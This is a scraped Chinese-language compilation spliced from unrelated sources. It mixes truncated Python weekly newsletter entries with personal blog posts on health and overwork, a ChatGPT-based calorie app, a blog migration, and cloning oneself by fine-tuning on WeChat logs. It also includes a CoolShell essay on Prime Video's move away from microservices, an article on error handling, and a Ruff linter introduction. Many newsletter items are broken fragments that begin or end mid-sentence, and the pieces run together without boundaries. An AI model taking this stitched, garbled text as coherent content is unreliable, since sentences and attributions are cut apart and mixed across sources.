、ltrace
、dd
和 stat
等工具,详细解释了脚本被执行的过程。主要涉及操作系统相关的内容,而不是 CPython 解释器。(附:文章还引用了最近很火的 Putting the “You” in CPU ,介绍计算机是如何运行程序的,强烈推荐!)with
代码块中使用的对象,在进入和退出时做一些操作。文章介绍了上下文管理器的实现细节。print(8)
会打印出 9。文章展示了如何用 C 编写一个简单的模块,介绍了 CPython 中整数对象池的实现,并通过修改两个整数的引用,实现一个简单的篡改数字的效果。越来越难以静下心来写一些文字。工作一年后,表达欲/书写欲与之前相比都大大降低。我觉得愿意表达说明一个人是清醒的,是愿意思考的。这里的"表达"不仅仅是说,也不仅仅是对他人说。写,或者为自己而写都在此列。
不管怎样,每年生日附近还是会想记录什么,而今年的这个标题,也是毫无创造性的。
[scode type="share" size="simple"]
[/scode]
如果有留意过我在「时光机」的内容,大概能知道我这半年的事情了。年后的2月份,在做去年的一些收尾的工作,搬了新工区。3月份,ChatGPT 开始异常的火爆起来,Q1很快就结束了。
如果去看「生病的事」tag 下的记录,2月份搬工区,3月10号附近眼睛一直非常干涩、痛。也许你对眼睛痛没有太多的体会,以为不是什么大事。我在自己亲身经历之前,我有有一个室友得了干眼症,我也是这样认为。大不了多休息一下,就是太疲劳了而已。但其实非常的影响生活质量,下班后,眼睛是火辣辣的痛,得用清水去洗才会缓解一点。一开始是一位空气干燥,买了一个加湿器,没有任何缓解。生病最让人恐惧的一点是你不知道什么时候会好。幸运的是大概2-3周后,终于慢慢的好了。至今还认为是和新的工区有关系...
四月底的时候开始胸闷。其实在三月份就偶尔胸闷,但很轻微,中间又几乎没有了。五月份、六月份、七月份、八月份直至现在,我的胸闷也没有完全恢复...期间看了三次医生,第一次判断是支气管炎,吃了点抗菌的药,吃了两周,真的感觉就快好了,因为胸闷的频率很低了,就早上和晚上偶尔会吸不上去,白天几乎是个正常人了。而后和一个同步吃完午饭,同事说他阳了,不确定是心理作用,还就是病毒作祟,过后的十分钟就觉得身体不舒服,有点冒冷汗,很累。当天回家后自测抗原,没有阳。但是我的胸闷就加重了。后面再吃抗菌的药,就一直不见好。就这么拖了两个月... 这两个月更是工作强度最大的两个月。7月中旬的时候,看了第二次医生,医生做了一些测试排除是不是哮喘、支气管问题等,也让做CT了。结果出来后,7月底看了第三次医生。医生说,从CT上看,肺部没什么问题,CT结果是“肺部少许条索影”,这一般是之前得过肺炎等肺部疾病痊愈的“伤疤”。但这不能推断是2个月前得的,因为天知道我这二十多年里有没有得过自愈的。医生说不用查呼吸科了,建议看看抽血后看看心血管科,同时建议多休息。
而我自己给自己的症状的一个判断是慢性咽炎,因为吃饭后咽喉就会有点堵住,隔气,感觉咽喉有点堵。准备下周找个时间再去耳鼻喉科看看。
已经26岁的我,也许没有资格说“我年轻的时候身体怎么怎么样”,但是恕我公平的说一句,在我24岁之前,我几乎没有怎么生过病,感冒/发烧也许一年1/2次,除此之外身体很少有不适。而现在正明显的感受到这副身体已经慢慢的度过它的最佳时机而在走下坡路了。
话说回到工作的事情上,Q2的第一个月还没有那么忙,而后4月底的时候开始了一个新的项目,这也是我的第一次封闭开发和休息日加班。整个五月,六月,都在非常高强度的加班中,除了每周末加班一天,每天晚上下班也非常晚,9点半之后10点后也是家常便饭。可以说基本上没有9点之前下班的时候。
身体是一个很奇怪的,当习惯了这种强度的工作后,反而有点麻木的,甚至清闲下来都会觉得“罪恶”。现在我开始慢慢把工作置之脑后,不要把工作的价值当作自己的核心价值。
就这样忙碌的三个月再加上非常差的身体,非常疲惫的度过了Q2。
期间,有一个大学室友7月初的时候从北京阿里辞职回老家的一个xxx所工作了。另一个室友也非常“豪气”请大家吃饭,于是我们就聚了一次(7月9号)。这中间家里又出了一次事情,但最后也就这样过去了。
去年11月份一个关系很好的同级校招生换base,基本上离开了我的生活。在7月份的时候,另一位关系很好的同事也离职了。生活就是这样,实际上你留不住任何东西,且经历着。同事离职前单独找我简单聊天,建议我工作中多总结、多沉淀、多输出。可以多写一些技术文章,博文。我觉得也是很受用。
我是去年6月28号正式入职的,到现在已经一年多一点的时间了。这一年里,和之前很不同的是,工作是我的主旋律。以至于我很少为自己的事情矫情。“时间会治愈一切”,这句话几年前我会觉得是胡扯,我根本忘不掉过去的那些糟心的事情,我根本忘不掉。但是看现在,我真的慢慢记不清了,心已经慢慢的“麻木”,也是“麻木”本身就是一种“成长”。
另一个变化是“底线”。《武林外传》有一集郭芙蓉把祝无双离别送给吕秀才的衣服藏起来,后面反而骗说是自己做的衣服,最终事情暴露,吕秀不理郭芙蓉,要和她分手。佟湘玉说这件事情毕竟是触碰了秀才的底线。郭芙蓉说“说的谁好像没有底线似的”,佟掌柜接着说,“那你的底线是什么呀”。当时我就想我的“底线”是什么,我好像也没什么底线。每次别人不管是有意还是无意之间伤害了我,我反过来会觉得自己做的是不是不对。
但工作之后,我很少会把别人伤害我的事情归咎于我,而反过来心里谩骂对方是个大SB。其中一个很大原因是,我对人友好,积极去尽力做好工作中每件事情,如果还出现问题,那必然是对方的错误。
另一方面,在与人社交的场景中,开始有一些自己的“底线”,即不担心失去什么所谓的“社交关系”,因为我似乎本身就没有什么好失去的。因此相反,如果对方踩踏了自己的“底线”,尽管仍然不会当面去戳破,但是会自动的疏远这样的人。这样的底线没有准确的文字可以描述,它的核心就是你让我不舒服了,那就请你离开我的生活,就这么简单。我开始更多的去倾听自己的感受,我觉得这是一件好事,也许是因为有了一些底气,经济上我不依赖任何人,感情上我也没有拥有过更多,因此我并不为失去而感到害怕。
最后不想去说太多陈词滥调。尽管现在身体仍然不舒服,而且又新长了两个口腔溃疡。尽管楼上的空调每天都会嗡嗡作响影响我,但我对现在的生活挺感恩和满足。至少目前衣食无忧,没有太多负担。对我自己的告诫就是:多去经历、阅读、观看、体验。如果有什么目标,从最最最最最简单的事情的去做,先去做,而不是定宏大的目标!
这就是26岁的我目前的现状。
elif
。就像秋天洄游的鲑鱼,或者冬天南飞的候鸟一样,每到夏天,我就会开始减肥。
我倒并不一定非要减多少,但夏天尽可能瘦一点,已经成了我的一种习惯,这可能是为了在天气变冷时可以放心的吃更多食物,也可能是我内心深处还是有一点对自己身材的包袱,我说不好。
从 6 月开始,我开始有意识的计算每天的食物摄入热量,并制造一个热量缺口。
整个 6 月份下来,我瘦了大约 8 斤,7 月到现在,又差不多瘦了 7 斤,总共有差不多 15 斤,我妈都觉得我瘦了不少(忽略手臂的色差)
因为这次减肥比之前都更顺利一点,所以激发了我的好奇心,我开始好奇自己究竟有几块腹肌,这一点暂时还无法验证,但有望在这个夏天结束前揭晓。
在减肥的过程中,我认为核心是制造热量缺口,这是最简单,也最本质的办法。
过去的 2 个月,我每天都会计算热量缺口,一开始我用我在网上下载的一些热量记录的 app 来确定我的摄入热量,一个标准的使用流程是:
如果这一顿饭,我吃了一个馒头,一小盘西红柿炒鸡蛋,一杯鲜榨橙汁,半根玉米,一小盘酱牛肉,那么上面这个流程我得重复 5 次。
在某一次极其不耐烦的记下了我吃的一堆东西,又看到了一个拙劣的 AI 课的广告后,我突然想到,淦,我是不是可以用 chatGPT 来做一个更好的工具。
我在网上和应用商店搜了一圈,没有找到类似的工具。
我立马坐下来,直接在网页试了一下,我告诉 chatGPT 我吃的东西是「一个馒头,一小盘西红柿炒鸡蛋,一杯鲜榨橙汁,半根玉米,一小盘酱牛肉」,要求其为我预估热量。
我发现,这是可行的,chatGPT 具备逻辑和常识,可以将我这一大段口语描述拆解成食物,并预估热量。
但是,可能由于 chatGPT 并没有专门针对食物营养数据做训练,所以有较大的概率,它给出的热量和营养元素的预估,是错误的,在另一些时候,它又不知道,例如
在这个场景下,它回答不知道是比它瞎说要好的,但考虑到食物种类的繁多,单纯用 chatGPT 似乎无法实现我的需求。
我开始琢磨新的办法,我从网上找到了几个食物数据库,包括美国 usda 的数据库,然后做了简单的数据清洗,将其制作成一个涵盖了10万种食物和原材料的数据库,接下来,我降低了 chatGPT 的工作量,仅仅让其拆解出句子里的食物,并预估重量,专业的热量和营养元素的计算则对接食物数据库来进行,而不是依靠 chatGPT 的「知识」。
完成这个处理后,我发现其识别效果和最终结果都好了一大截,我开始从这个核心的功能开始,去写一个新的 app,我每天晚上大概写2个小时,最终花了半个多月,完成了这个新的 APP。
我给它取名字叫 FoodCa,可以理解为Food+Calorie,也可以理解为伏特加的卖萌读法,看你喜欢。
这个 app 实现了我对一个极简的热量记录工具的全部要求,例如,直接说出你今天一天吃的东西,自动识别,拆解,预估重量,得到热量和营养元素:
非常简单,但是又挺好看(我自己认为)的数据图,能大概看看
此外,为了增加一点记录的趣味性,我还做了一个「AI营养师」的功能,如果你有记录,那么每天晚上9点,可以召唤它来给你写一条评论,它会根据你当天的食物摄入来非常友好的给你一些建议:
很惭愧,我两年前就自学了 swiftUI 来写 iOS app,但是这两年可以说毫无长进,这次开始写新 app,本以为会驾轻就熟,结果发现我差不多忘的精光了,因此开头的几天我的进度极慢,几乎可以称之为「找回记忆」的阶段,我温习了swiftUI 的很多基础,大概一周后,进展才开始变得顺利一点。
因为我每天只在下班后的晚上写,所以写了很久,几天前我终于把 foodCa 写的差不多,提交了 AppStore审核并通过了,至此,一个新的小产品算是开发完成了。
我自己通过 testflight 安装的测试版本,我已经用了半个月,每天记录热量摄入变得更加简单轻松,甚至更有趣(不确定是不是因为我自己做的所以有感情分),这是我个人的一个小产品,虽然放入了基础的商业模式(卖3块钱的会员,因为我也要给 chatGPT 交钱),但大概率没办法成为一个多么赚钱的产品,它没有什么天花板,护城河,也没有什么壁垒,我猜现在可能就有高仿的产品正在开发中。
但是啊,我自认为这依然是一个值得骄傲的产品,某种程度上,这是将 AI 能力,用于一件实际的事情的范例,我已经看到太多聊天框,文本框了,似乎我们提到 chatGPT 或者别的什么文本大模型,就只能想到聊天,对话,文本生成,也正因为如此,AI圈继元宇宙之后成为了神棍和骗子的天堂。
要么就做更单纯且有趣的事情,要么,就将 AI 用在更加实际,更加落地,看得见,摸得着的地方,只有这样,AI 呼啸而来之时(这几乎无可避免),才能把我们托起来,而非淹没。不过我对这一点并不是特别乐观,但我动了脑子了,也做了一些努力了。
如果你对我的这个小产品感兴趣,或者好奇将 AI 用在食物热量记录上是一种怎么样的体验,又恰好你用的是 iPhone,不妨去下载一个试试看,你可以直接在 AppStore 搜索 FoodCa,或者点击下面的链接也能下载。
FoodCa:https://apple.co/47egICL
AsyncMixin
的 mixin 在 Python 中创建异步构造函数。python -m xxx
调用?这篇文章使用 ripgrep 查找出几十个模块,并重点介绍了http.server
、base64
、asyncio
、tokenize
、ast
、json.tool
、random
等工具。tailwindpie
这个库,并演示如何在 Flask 项目中使用它,实现自动安装及配置 TailwindCSS。time
、timeit
、cProfile
、Pyinstrument
、perf
等工具以及一些性能优化的技巧。itertools
提供了很多操作可迭代对象的方法(star 3.1k)。requirements.txt
文件以及 PEP-621 的 pyproject.toml
文件。perf
分析器。这篇文章介绍了什么是 Linux perf 分析器、perf 能给 Python 带来什么好处、如何在 Python 3.12 中使用 perf、如何分析性能数据、性能数据可视化……Read the Docs
是一个用于构建和发布文档的开源平台(你肯定见过它家的 Sphinx 或 MkDocs 生成的文档),这个仓库收录了一些开源项目的文档,可以学习它们是如何构建出酷炫效果的。VisCPM-Chat
模型)和文到图生成能力(VisCPM-Paint
模型)。基于百亿参数量语言大模型 CPM-Bee(10B)训练(周刊第 7 期曾介绍过),融合视觉编码器(Q-Former)和视觉解码器(Diffusion-UNet)以支持视觉信号的输入和输出。uvloop
后,创建及处理协程任务,能有多少提升?%%ai
指令、原生的聊天 UI 页面、支持大量平台的大语言模型(AI21、Anthropic、Cohere、Hugging Face、OpenAI、SageMaker 等)。这个博客是我大学时候开始做的,最早是 2013 年,我注册了 wdk.pw 这个域名,然后用当时流行的办法,找了一个「免费托管主机」,然后部署了 wordpress,写下了我的第一篇博客文章
谁想到这一写就是 10 年,现在已经是 2023 年了。
在最初的几个月后,我发现那个免费托管的空间变得十分不靠谱,会自动在我的博客中插入广告,并且时不时还会无法访问,即便那时候我只是一名大二学生,也开始意识到,任何事情都有代价,当我没有为一个服务直接付费的时候,就会从别的地方付出代价,所以我开始准备迁移。
因为那时候我不会也不想备案,所以只能考虑国外的服务器,在 10年前,并没有像现在这么多的部署方案或服务,基本上只有两个选择,要么买云服务器,要么用一种叫做云空间或者云主机的东西,后者是一个包含了代码运行环境,ftp,mysql等基本组件,以及一个网页管理后台的打包服务。一台物理服务器拆分成多个云服务器,一个云服务器拆分成多个云空间,大体上应该是这么个逻辑。
在机缘巧合下,我选择了后来使用了长达 9 年的一家云空间,叫做云左主机,我在上面购买了一个 98 元一年的云主机,物理位置位于韩国,每月有50G流量,机器的配置是1核2G,但应该由若干个云空间共享,即便如此,对于一个简单的 wordpress 来说,这个配置跑起来也绰绰有余。
我用了一个叫做 WP Clone 的插件,将我的博客完整的迁移到了这个新家,然后每年续费,直到今年。
在写了大概一年博客后,我发现pw后缀的域名,搜索引擎基本不收录,而且有大量pw后缀的垃圾站,所以我注册了新的域名,也就是现在的这个 greatdk.com,并一直沿用。
我的博客一直访问量不大,但偶尔(发生过几次)会有比较多人来看,这时候网站就会挂掉,因为背后的服务器配置太低了,我想过一些解决办法,例如使用一个叫做 WP Super Cache 的插件,来实现一些缓存,有一些效果,但依然还是会挂。
对于浏览博客而言,其实大多数请求都对应的是静态资源,但在比较高并发的情况下,整个服务器都会被这些静态请求给堵住,放到现在来看其实这有很多方案,但当时我确实没啥办法。
直到2018年,或者2019年,我记不清了,我了解到 CloudFlare,然后开始使用它,我的感觉是
太尼玛强了,CloudFlare 牛逼
CF 不仅帮我解决了缓存的问题,而且可以自动配置和更新 SSL 证书,在最外层套了 CF 之后,我的博客就再也没有因为请求或访问增加而出过问题,而且这些服务都是免费的,或者说免费版本已经完全能满足我的需求了。
然后直到前几天,我发现我的博客又挂了,从状态页来看,肯定不是 CF 的问题,而是源站挂了,我排查了一下,发现确实是那个云主机的域名问题,然后和管理员联系了,他告诉我,因为一些无法透露的原因,没法修复,只能帮我导出数据,然后给我退款。
我又和他聊了两句,他说整个业务都准备关了,虽然没说原因,但大概也能猜到。
无奈之下,我只能重新为博客搬家,因为备案的缘故,我依然无法使用国内的服务器,我最终用了腾讯云的轻量级服务器,新加坡节点。
但实际部署的时候我才发现有些历史遗留的坑,例如我的博客版本已经很老了,是PHP5.6,较新的Linux发行版,都不再支持这个PHP版本了,用网上的一些安装方式,也根本装不上PHP5.6,后来还是通过宝塔面板(虽然这个面板设计的极其恶心),才装上了可用的PHP版本,然后将博客恢复。
然后我又立马套上了CF,经过CF代理,速度很快,从这一点看,因为有了CF,源站在哪也就没那么重要了。
在做完这一切后,我移除了博客底部的「托管在云左主机」的小字,对这个博客而言,它开始了新的生活。
async/await/asyncio
来编写并发代码,还介绍了 Pyodide.Webloop 的实现,该实现允许 async/await 与浏览器事件循环一起使用。pytudes
项目!async
和 await
的设计十分糟糕,它与大多数库不兼容,也不满足“Python之禅”的一些标准。作者的推荐方案是 gevent,提及了它的几点好处。另外,作者还推荐了两篇相关的文章:Flask 作者 Armin Ronacher 的《I don’t understand Python’s Asyncio》,SQLAlchemy 作者 Mike Bayer 的《Asynchronous Python and Databases》@login_required
、@permission_required
、@csrf_exempt
、@cache_page
)。struct
关键字,用于更方便地创建数据类,类似于 C、Rust 与 Go 的结构语法。文中介绍了他的目标以及这个关键字的实现原理,目前在收集意见阶段,未来不排除会提成一个 PEP。cProfile
中,但没有得到响应。最后,这个库还被拿来跟 Python 3.12 中引入的 perf
分析器作比对。test
模块演示了子解释器的示例。type
类型的对象)。文章探讨元类的基础知识,以及更高级的功能和示例。上一篇文章,我介绍了我用自己的微信聊天数据和博客文章来训练的文本聊天模型,这篇文章被广泛传播,以致出现了很多没有必要的误会,例如很多人和这个AI聊完之后,认为我有7个女朋友,有两个男朋友,居住在北京西城区,支付宝密码是 -465g41#$ ,在北京航空航天大学读研究生等等
在此首先我想做个澄清,这些都是错的,都是这个 AI 瞎编的。
这里有必要再具体一些的说明我的训练方式——即便我拿来“开刀”的模型只有60亿参数(相较于chatgpt上千亿的参数已经很小了),将 60 亿参数全部重新训练也不现实,成本还是其次,要“喂饱”这60亿参数也需要比我的十万条数据多得多的数据,因此,我采用的是一种对部分参数微调的办法,模型的参数被分为了许多神经网络层,我主要调整的是 KV 层,这一层的参数更多的像是一种逻辑,说话方式,感觉,而不是具体的知识,模型的知识储存在其它层,虽然 KV 层的调整也会影响知识,但总的来说,在 KV 层注入知识是非常费力的。
我花了很大功夫,才让模型知道我叫啥,指望聊天记录中没出现过,或者只是出现过几次的信息,模型就记住,那根本就不可能,所以本质上它不会泄露我的任何隐私。
即便如此,很多人还是乐此不疲的和这个 AI 聊天,过去的这段时间,共有超过 2 万人,和我的克隆人聊了 13 万次。我并没有对每一句话做搜集,甚至连 Google 统计都没有用,但日志里记录了所有的请求,这是完全匿名的数据,所以我可以从日志里做一些数据分析。
一开始,我只是简单根据独立IP,统计有多少人来聊过,然后看一共有多少次生成记录,日志里有很多乱七八糟的信息,做进一步的分析会非常麻烦。
五一假期的时候,我组装的固定翼飞机炸鸡了,等网上买的零件送到的过程实在太无聊,所以我又重新捡起这些日志输出,开始看有没有什么办法能做点好玩的分析,说来惭愧,我又想到了 chatgpt,首先我让 chatgpt 帮我写了脚本,将其中的所有用户的输入和模型的输出全部匹配出来,然后我用它们做了两张词云图:
这是大家发过来的文本生成的词云图,从这张图中,大家喜欢聊什么一目了然,大约有三千人问我的女朋友叫什么名字,粗略统计,模型一共生成了两千多个名字,当然,没有一个是对的。此外还有上千人致力于探索我的支付宝密码和银行卡密码,大多数时候 AI 都会敷衍过去,但还是有一小部分得到了一个看上去像是密码的,其实是瞎编的字符串,甚至还有人兴高采烈去发贴,认为套出了我的密码,很遗憾,这确实都是瞎编的。
因为一开始的某些误会,很多人和它聊天的时候都试图和它对骂,或者诱导它骂人,这个倒是大多数人都成功了,希望被骂的朋友不要生气。
这是 AI 回复的词生成的词云图,除了作为一个AI模型特有的机器人啦,聊天啦,人工智能啦之类经常会出现的词之外,「哈哈哈」和「可以」很明显,这某种程度上确实像是我经常敷衍时候说的话。
从聊天轮次来看,超过 45% 的人和他聊了二十句以上,这非常出乎我的意料,因为我训练用的全是单轮对话,所以模型在多轮对话的表现上是非常弱鸡的,直观感受就是记不住前面的话,容易变的错乱。在这样的情况下大家还愿意和他聊这么多,可能说明,如果一个bot,人们愿意把它当成一个人,那么投射进去的情感,会让人忽略掉一些明显的缺点。
在上线后不久,我加入了一个问卷,询问大家觉得这个聊天bot如何,60%的人觉得它很不错,有人认为它很狡猾
有人认为它答非所问
还有人和它对骂,觉得它骂的不够狠
这些调研让我对优化有了一些更明确的方向,例如多轮对话能力,逻辑性,更好的记住知识,当然,之前的训练方式已经很难做更多优化了,我会用一些新的方式来做探索,其中之一是强化学习,我改动了一下聊天的网页,每次你发一句话过去,它会回两句,需要手动为回复来投票。
通过这种方式,我可以搜集更多的人类监督投票的数据,从而优化模型的表现,在多轮对话和知识记忆上,也有新的方法,不过我还拿不准。
这篇文章,除了告诉大家一下后续之外,也希望邀请大家再去和它聊聊,并且多投票,这样,一段时间之后,我就有更大把握把它做得更好。
聊天地址:DK数字分身 (greatdk.com)
datetime
的 C 扩展模块。文章出自《Python 之 C 语言 API 系列教程》的第一篇,该系列目前已更新两篇。这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《规模化Prime Video的音视频监控服务,成本降低90%》,副标题:“从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本”,有人把这篇文章在五一期间转到了reddit 和 hacker news 上,在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”,还是Amazon干的,这个话题足够劲爆。然后DHH在刚喷完Typescript后继续发文《即便是亚马逊也无法理解Servless或微服务》,继续抨击微服务架构,于是,瞬间引爆技术圈,登上技术圈热搜。
今天上午有好几个朋友在微信里转了三篇文章给我,如下所示:
看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇,你还真当 Prime Video 就是 Amazon 的全部么?然后,再看看这些文章后面的跟风评论,我觉得有 80%的人只看标题,而且是连原文都不看的。所以,我想我得写篇文章了……
要认清这个问题首先是要认认真真读一读原文,Amazon Prime Video 技术团队的这篇文章并不难读,也没有太多的技术细节,但核心意思如下:
1)这个系统是一个监控系统,用于监控数据千条用户的点播视频流。主要是监控整个视频流运作的质量和效果(比如:视频损坏或是音频不同步等问题),这个监控主要是处理视频帧,所以,他们有一个微服务主要是用来把视频拆分成帧,并临时存在 S3 上,就是下图中的 Media Conversion 服务。
2)为了快速搭建系统,Prime Video团队使用了Serverless 架构,也就是著名的 AWS Lambda 和 AWS Step Functions。前置 Lambda 用来做用户请求的网关,Step Function 用来做监控(探测器),有问题后,就发 SNS 上,Step Function 从 S3 获取 Media Conversion 的数据,然后把运行结果再汇总给一个后置的 Lambda ,并存在 S3 上。
整个架构看上去非常简单 ,一点也不复杂,而且使用了 Serverless 的架构,一点服务器的影子都看不见。实话实说,这样的开发不香吗?我觉得很香啊,方便快捷,完全不理那些无聊的基础设施,直接把代码转成服务,然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了,哪里不好了?!
但是他们遇到了一个比较大的问题,就是 AWS Step Function 的伸缩问题,从文章中我看到了两个问题(注意前方高能):
注意,这里有两个关键点:1)帐户对 Step Function 有限制,2)Step Function 太贵了用不起。
然后,Prime Video 的团队开始解决问题,下面是解决的手段:
1) 把 Media Conversion 和 Step Function 全部写在一个程序里,Media Conversion 跟 Step Function 里的东西通过内存通信,不再走S3了。结果汇总到一个线程中,然后写到 S3.
2)把上面这个单体架构进行分布式部署,还是用之前的 AWS Lambda 来做入门调度。
EC2 的水平扩展没有限制,而且你想买多少 CPU/MEM 的机器由你说了算,而这些视频转码,监控分析的功能感觉就不复杂,本来就应该写在一起,这么做不更香吗?当然更香,比前面的 Serverless 的确更香,因为如下的几个原因:
好了,原文解读完了,你有自己的独立思考了吗?下面是我的独立思考,供你参考:
1)AWS 的 Serverless 也好, 微服务也好,单体也好,在合适的场景也都很香。这就跟汽车一样,跑车,货车,越野车各有各的场景,你用跑车拉货,还是用货车泡妞都不是一个很好的决定。
2)这篇文章中的这个例子中的业务太过简单了,本来就是一两个服务就可以干完的事。就是一个转码加分析的事,要分开的话,就两个微服务就好了(一个转码一个分析),做成流式的。如果不想分,合在一起也没问题了,这个粒度是微服务没毛病。微服务的划分有好些原则,我这里只罗列几个比较重要的原则:
3)Prime Video 遇到的问题不是技术问题,而是 AWS Step Function 处理能力不足,而且收费还很贵的问题。这个是 AWS 的产品问题,不是技术问题。或者说,这个是Prime Video滥用了Step Function的问题(本来这种大量的数据分析处理就不适合Step Function)。所以,大家不要用一个产品问题来得到微服务架构有问题的结论,这个没有因果关系。试问,如果 Step Funciton 可以无限扩展,性能也很好,而且白菜价,那么 Prime Video 团队还会有动力改成单体吗?他们不会反过来吹爆 Serverless 吗?
4)Prime Video 跟 AWS 是两个独立核算的公司,就像 Amazon 的电商和 AWS 一样,也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维,我个人认为这个世界上再也找不到另外一家公司了,包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《Steve Yegg对Amazon和Google平台的吐槽》你会了解的更多。
5)Prime Video 这个案例本质上是“下云”,下了 AWS Serverless 的云。云上的成本就是高,一个是费用问题,另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂,重写起来也很快,所以,可以很快使用一个更传统的“服务化”+“云计算”的分布式架构,不然,就得像 DHH 那样咬牙下云——《Why We’re Leaving the Cloud》(他们的 SRE 的这篇博文 Our Cloud Spend in 2022说明了下云的困难和节约了多少成本)
最后让我做个我自己的广告。我在过去几年的创业中,帮助了很多公司解决了这些 分布式,微服务,云原生以及云计算成本的问题,如果你也有类似问题。欢迎,跟我联系:haoel@hotmail.com
另外,我们今年发布了一个平台 MegaEase Cloud, 就是想让用户在不失去云计算体验的同时,通过自建高可用基础架构的方式来获得更低的成本(至少降 50%的云计算成本)。目前可以降低成本的方式:
欢迎大家试用。
如何访问
注:这两个区完全独立,帐号不互通。因为网络的不可抗力,千万不要跨区使用。
产品演示
介绍文章
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
null
。例如,C 语言中经常使用:FILE* fp = fopen("file.txt" , "w");
if (!fp) {
// 发生了错误
}
my_struct *success_result;
int error_code = my_function(&success_result);
if (!error_code) {
// can use success_result
}
user, err = FindUser(username)
if err != nil {
return err
}
try/catch/finally
方法相当有效,而且使用简单。异常在上世纪 90 年代到 2000 年间非常流行,被许多语言所采用(例如 Java、C# 和 Python)。throws
关键字来解决这个问题,但它很少被使用,因此在 C++ 17 中已被弃用 ,并在 C++ 20 中被删除。此后,它一直试图引入noexcept 关键字,但我较少写现代 C++,不知道它的流行程度。const fs = require('fs');
fs.readFile('some_file.txt', (err, result) => {
if (err) {
console.error(err);
return;
}
console.log(result);
});
fetch("https://example.com/profile", {
method: "POST", // or 'PUT'
})
.then(response => response.json())
.then(data => data['some_key'])
.catch(error => console.error("Error:", error));
async function fetchData() {
try {
const response = await fetch("my-url");
if (!response.ok) {
throw new Error("Network response was not OK");
}
return response.json()['some_property'];
} catch (error) {
console.error("There has been a problem with your fetch operation:", error);
}
}
enum Result<S, E> {
Ok(S),
Err(E)
}
Ok
对象(可能包含有一些数据),要么返回一个Err
对象(包含一些错误详情)。函数的调用者通常会使用模式匹配来处理这两种情况。let result = match my_fallible_function() {
Err(e) => return Err(e),
Ok(some_data) => some_data,
};
?
) 来简化上面的代码:let result = my_fallible_function()?; // 注意有个"?"号
Either
。我有计划写一篇关于它的文章,最后感谢你阅读这篇文章,敬请保持关注😊。|
和 |=
运算符、缓存装饰器 functools.cache、泛化类型提示bisect
处理有序序列、 集合与字典的内部实现、对象的弱引用,等等。代码分析工具
即 Linter,用于检查代码中的语法错误、编码规范问题、潜在的逻辑问题和代码质量问题等,可以提供实时反馈和自动修复建议。pyproject.toml
pyproject.toml
、支持 Python 3.11、支持只分析变更的文件,等等。另外,它也有着一些局限性:pip install ruff
ruff check . # 分析当前及子目录内的所有文件
ruff check path/to/code/ # 分析指定目录及子目录内的所有文件
ruff check path/to/code/*.py # 分析指定目录内的所有py文件
ruff check path/to/code/to/file.py # 分析 file.py
- repo: https://github.com/charliermarsh/ruff-pre-commit
# Ruff version.
rev: 'v0.0.261'
hooks:
- id: ruff
ruff-lsp
,可以被集成到任何支持 Language Server Protocol 的编辑器中,例如 Neovim、Sublime Text、Emacs 等等。除了开飞机,做出完美的烤肋排,获得6块腹肌以及让公司赚大钱之外,我一直以来也想做成的一件事,是实现一个聊天机器人。
和多年前简单通过关键词匹配来回复的小黄鸡,到现在已经堪比人类智慧的 chatgpt,聊天AI一直在进步,但他们和我想的都有一些区别。
我在微信上和很多人聊天,有的人聊得多,有的人聊的少,我在群里也会说话,我还会写博客和公众号,我会在很多地方留下评论,我也会发微博,这些是我在网络世界留下的痕迹,某种程度上这些东西构成了世界对我的认知,从这个角度上,也就构成了我。将这些数据——我对不同消息的回复,我写的每一篇文章,每一句话,我发过的每一条微博等,全部汇入一个神经网络模型之中,去更新其中的参数,理论上就可以获得一个我的数字拷贝。
从原理上,这和对 chatgpt 说“请扮演一个叫小王的人,他的经历是XXX”不同,虽然以 chatgpt 的智慧,这样的扮演毫不费力且可能以假乱真,但其实 chatgpt 的参数并没有改变,这更像是“扮演”而非“重塑”,chatgpt 的上千亿个参数并没有改变一个,它从你之前的文本中获取一些信息,然后用它的智慧来应对你。
我喜欢在文章里写一些没有太大用处的比喻,并喜欢在最后做一些总结,跟人聊天的时候,我喜欢用「可以的」来敷衍,同时用卧槽来表示惊讶,我某些时候少言寡语,另一些时候则滔滔不绝,这是我自己能够感知的一些特点,此外还有更多我自己都无法察觉的固定习惯,但这些微妙又模糊的东西,我无法告诉 chatgpt,这就像你做自我介绍,可以介绍的很丰富,但和真正的你,依然差之千里,甚至有时候截然相反,因为当我们意识到自己的存在的时候,我们其实是在表演自己,只有在我们没有意识到自己的存在,而融入生活的时候,我们才是真正的自己。
在 chatgpt 发布之后基于兴趣去学习文本大模型的技术原理,有一种 49 年入国军的感觉,因为对个人爱好者来说,做出在任何方面或再细小的垂直领域超越 chatgpt 的可能性已经不存在了,同时它又不开源,除了使用,没有别的可打的主意。
但最近2个月出现的一些开源文本预训练模型,例如大名鼎鼎的 llama 和 chatglm6b,让我那个克隆自己的想法又开始蠢蠢欲动起来,上周,我准备试试看。
首先我需要数据,足够多且全部都由我产生的数据,最简单的数据来源是我的微信聊天记录和博客,因为没有完全清空微信聊天记录,从 2018 年到现在,我手机里的微信占了80G的储存空间,对此我一直有一种家里被人强占一块地儿的感觉,现在如果能把这里的数据利用起来,我会和这80G冰释前嫌。
我在几年前曾经备份过我的微信聊天记录,我又找到了当年使用的工具,是一个在 github 开源的工具,叫做 WechatExporter,链接我会放到文末,使用这个工具,可以实现在 Windows 电脑上备份 iPhone 中的手机微信的所有聊天记录,并导出成纯文本格式,这是一个需要耐心的操作,因为首先需要将整个手机备份在电脑上,然后这个工具会从备份文件中读取到微信的记录,并导出。
我大概花了4个小时备份,然后很快导出了我所有的微信聊天记录,其按照聊天对象,被导出到了许多个文本文件中
这里面包括了群聊和一对一的聊天。
然后我开始做数据清洗,大多数群我都是潜水比较多,我筛选出一些我比较活跃的群,此外还筛出了一些和个人的聊天记录,我和他们聊天很多,同时他们也愿意我把聊天记录拿来这么做,最后大概50个聊天的文本文件够我使用。
